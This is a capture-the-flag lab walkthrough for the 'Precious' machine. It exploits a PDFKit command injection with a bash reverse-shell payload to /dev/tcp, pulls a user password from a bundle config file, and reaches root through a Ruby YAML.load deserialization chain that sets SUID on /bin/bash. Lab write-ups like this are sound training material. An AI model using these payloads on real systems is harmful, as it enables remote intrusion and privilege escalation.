Precious

Enumeration

First let's add precious.htb to /etc/hosts

Rustscan

mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a precious.htb -- -sV -sC -oA ./rust/{{ip}}
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 65000.
Open 10.129.77.196:22
Open 10.129.77.196:80

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PortTechnology

80

NGINX + Phusion Passenger

Phusion Passenger seems to be an extension to support various kinds of application type like ruby https://en.wikipedia.org/wiki/Phusion_Passenger

Webpage

Visiting http://precious.htb will display a page that says "Convert Web Page to PDF". A quick check using a locally setup webserver showed that the page is exactly doing that.

Using Burp we check our requests and can identify that Ruby is used!

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Connection: close
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Sun, 27 Nov 2022 19:02:41 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
Content-Length: 506

Dirsearch

Found nothing

Feroxbuster

Also no results

Exploitation

Searching for Ruby and HTML to PDF vulnerabilities will lead you to PDFKIT - Command Injection

We'll use that POC to craft our payload and get a reverse shell

Payload

http://attacking.machine/?name=#{'%20`bash -c 'bash -i >& /dev/tcp/attacking-machine-ip/4000 0>&1'`'}

After submitting the malicious url on http://precious.htb we will receive a reverse shell as user ruby

Become User henry

In /home/ruby/.bundle is a file located that is called config. In that file you will find the password of user henry

---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:CENSORED"

Become User henry

su - henry

Escalation

Local Enumeration

Always the first thing todo is to check for any sudo privileges

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Looks like we are allowed to update dependencies as root user. Smells like a ruby deserialization attack

/opt/update_dependencies.rb

Checking the file we are allowed to run will confirm my assumption. YAML.load is extremely unsafe and shouldn't be used according to Ruby - YAML

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Privilege Escalation

We will use a Universal RCE for Ruby YAML.load - YAML.load - RCE

dependencies.yaml

First we have to create the dependencies.yaml file in our current location and modify git_set to add suid on /bin/bash

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

Root

# Will throw some errors after execution
sudo /usr/bin/ruby /opt/update_dependencies.rb
# Check permissions on /bin/bash
ls -al /bin/bash
# -rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
# If bash has SUID bit set it does not drop the elevated privileges. So we will use that as planned 
/bin/bash -p
id
# uid=0(root) gid=0(root) groups=0(root)

Last updated